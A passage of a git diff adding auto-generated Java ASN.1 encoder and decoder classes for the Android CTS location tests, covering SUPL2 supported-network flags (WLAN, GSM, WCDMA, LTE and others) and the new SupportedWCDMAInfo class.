+ return tag == null ? SupportedNetworkInformation.uTRANGPSReferenceTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uTRANGPSReferenceTime : "
+ + getUTRANGPSReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getUTRANGANSSReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUTRANGANSSReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUTRANGANSSReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedNetworkInformation.uTRANGANSSReferenceTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uTRANGANSSReferenceTime : "
+ + getUTRANGANSSReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wLANType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wLANType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wLANType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wLANType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wLANType != null) {
+ return ImmutableList.of(TAG_wLANType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wLANType from encoded stream.
+ */
+ public static wLANType fromPerUnaligned(byte[] encodedBytes) {
+ wLANType result = new wLANType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wLANType from encoded stream.
+ */
+ public static wLANType fromPerAligned(byte[] encodedBytes) {
+ wLANType result = new wLANType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wLANType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gSMType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_gSMType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gSMType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gSMType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gSMType != null) {
+ return ImmutableList.of(TAG_gSMType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gSMType from encoded stream.
+ */
+ public static gSMType fromPerUnaligned(byte[] encodedBytes) {
+ gSMType result = new gSMType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gSMType from encoded stream.
+ */
+ public static gSMType fromPerAligned(byte[] encodedBytes) {
+ gSMType result = new gSMType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gSMType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wCDMAType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wCDMAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wCDMAType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wCDMAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wCDMAType != null) {
+ return ImmutableList.of(TAG_wCDMAType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wCDMAType from encoded stream.
+ */
+ public static wCDMAType fromPerUnaligned(byte[] encodedBytes) {
+ wCDMAType result = new wCDMAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wCDMAType from encoded stream.
+ */
+ public static wCDMAType fromPerAligned(byte[] encodedBytes) {
+ wCDMAType result = new wCDMAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wCDMAType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cDMAType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_cDMAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cDMAType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cDMAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cDMAType != null) {
+ return ImmutableList.of(TAG_cDMAType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cDMAType from encoded stream.
+ */
+ public static cDMAType fromPerUnaligned(byte[] encodedBytes) {
+ cDMAType result = new cDMAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cDMAType from encoded stream.
+ */
+ public static cDMAType fromPerAligned(byte[] encodedBytes) {
+ cDMAType result = new cDMAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cDMAType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class hRDPType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_hRDPType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public hRDPType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_hRDPType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_hRDPType != null) {
+ return ImmutableList.of(TAG_hRDPType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new hRDPType from encoded stream.
+ */
+ public static hRDPType fromPerUnaligned(byte[] encodedBytes) {
+ hRDPType result = new hRDPType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new hRDPType from encoded stream.
+ */
+ public static hRDPType fromPerAligned(byte[] encodedBytes) {
+ hRDPType result = new hRDPType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "hRDPType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uMBType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_uMBType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uMBType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uMBType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uMBType != null) {
+ return ImmutableList.of(TAG_uMBType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uMBType from encoded stream.
+ */
+ public static uMBType fromPerUnaligned(byte[] encodedBytes) {
+ uMBType result = new uMBType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uMBType from encoded stream.
+ */
+ public static uMBType fromPerAligned(byte[] encodedBytes) {
+ uMBType result = new uMBType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uMBType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class lTEType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_lTEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public lTEType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_lTEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_lTEType != null) {
+ return ImmutableList.of(TAG_lTEType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new lTEType from encoded stream.
+ */
+ public static lTEType fromPerUnaligned(byte[] encodedBytes) {
+ lTEType result = new lTEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new lTEType from encoded stream.
+ */
+ public static lTEType fromPerAligned(byte[] encodedBytes) {
+ lTEType result = new lTEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "lTEType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wIMAXType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_wIMAXType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wIMAXType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wIMAXType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wIMAXType != null) {
+ return ImmutableList.of(TAG_wIMAXType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wIMAXType from encoded stream.
+ */
+ public static wIMAXType fromPerUnaligned(byte[] encodedBytes) {
+ wIMAXType result = new wIMAXType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wIMAXType from encoded stream.
+ */
+ public static wIMAXType fromPerAligned(byte[] encodedBytes) {
+ wIMAXType result = new wIMAXType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wIMAXType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class historicType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_historicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public historicType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_historicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_historicType != null) {
+ return ImmutableList.of(TAG_historicType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new historicType from encoded stream.
+ */
+ public static historicType fromPerUnaligned(byte[] encodedBytes) {
+ historicType result = new historicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new historicType from encoded stream.
+ */
+ public static historicType fromPerAligned(byte[] encodedBytes) {
+ historicType result = new historicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "historicType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nonServingType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_nonServingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nonServingType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nonServingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nonServingType != null) {
+ return ImmutableList.of(TAG_nonServingType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nonServingType from encoded stream.
+ */
+ public static nonServingType fromPerUnaligned(byte[] encodedBytes) {
+ nonServingType result = new nonServingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nonServingType from encoded stream.
+ */
+ public static nonServingType fromPerAligned(byte[] encodedBytes) {
+ nonServingType result = new nonServingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nonServingType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uTRANGPSReferenceTimeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_uTRANGPSReferenceTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uTRANGPSReferenceTimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uTRANGPSReferenceTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uTRANGPSReferenceTimeType != null) {
+ return ImmutableList.of(TAG_uTRANGPSReferenceTimeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uTRANGPSReferenceTimeType from encoded stream.
+ */
+ public static uTRANGPSReferenceTimeType fromPerUnaligned(byte[] encodedBytes) {
+ uTRANGPSReferenceTimeType result = new uTRANGPSReferenceTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uTRANGPSReferenceTimeType from encoded stream.
+ */
+ public static uTRANGPSReferenceTimeType fromPerAligned(byte[] encodedBytes) {
+ uTRANGPSReferenceTimeType result = new uTRANGPSReferenceTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uTRANGPSReferenceTimeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class uTRANGANSSReferenceTimeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_uTRANGANSSReferenceTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public uTRANGANSSReferenceTimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_uTRANGANSSReferenceTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_uTRANGANSSReferenceTimeType != null) {
+ return ImmutableList.of(TAG_uTRANGANSSReferenceTimeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new uTRANGANSSReferenceTimeType from encoded stream.
+ */
+ public static uTRANGANSSReferenceTimeType fromPerUnaligned(byte[] encodedBytes) {
+ uTRANGANSSReferenceTimeType result = new uTRANGANSSReferenceTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new uTRANGANSSReferenceTimeType from encoded stream.
+ */
+ public static uTRANGANSSReferenceTimeType fromPerAligned(byte[] encodedBytes) {
+ uTRANGANSSReferenceTimeType result = new uTRANGANSSReferenceTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "uTRANGANSSReferenceTimeType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedNetworkInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
new file mode 100755
index 0000000..5116705
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWCDMAInfo.java
@@ -0,0 +1,304 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWCDMAInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWCDMAInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWCDMAInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWCDMAInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWCDMAInfo != null) {
+ return ImmutableList.of(TAG_SupportedWCDMAInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWCDMAInfo from encoded stream.
+ */
+ public static SupportedWCDMAInfo fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWCDMAInfo result = new SupportedWCDMAInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWCDMAInfo from encoded stream.
+ */
+ public static SupportedWCDMAInfo fromPerAligned(byte[] encodedBytes) {
+ SupportedWCDMAInfo result = new SupportedWCDMAInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWCDMAInfo.mRLType mRL_;
+ public SupportedWCDMAInfo.mRLType getMRL() {
+ return mRL_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWCDMAInfo.mRLType
+ */
+ public void setMRL(Asn1Object value) {
+ this.mRL_ = (SupportedWCDMAInfo.mRLType) value;
+ }
+ public SupportedWCDMAInfo.mRLType setMRLToNewInstance() {
+ mRL_ = new SupportedWCDMAInfo.mRLType();
+ return mRL_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMRL() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMRL();
+ }
+
+ @Override public void setToNewInstance() {
+ setMRLToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWCDMAInfo.mRLType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mRL : "
+ + getMRL().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class mRLType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_mRLType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public mRLType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_mRLType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_mRLType != null) {
+ return ImmutableList.of(TAG_mRLType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new mRLType from encoded stream.
+ */
+ public static mRLType fromPerUnaligned(byte[] encodedBytes) {
+ mRLType result = new mRLType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new mRLType from encoded stream.
+ */
+ public static mRLType fromPerAligned(byte[] encodedBytes) {
+ mRLType result = new mRLType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "mRLType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
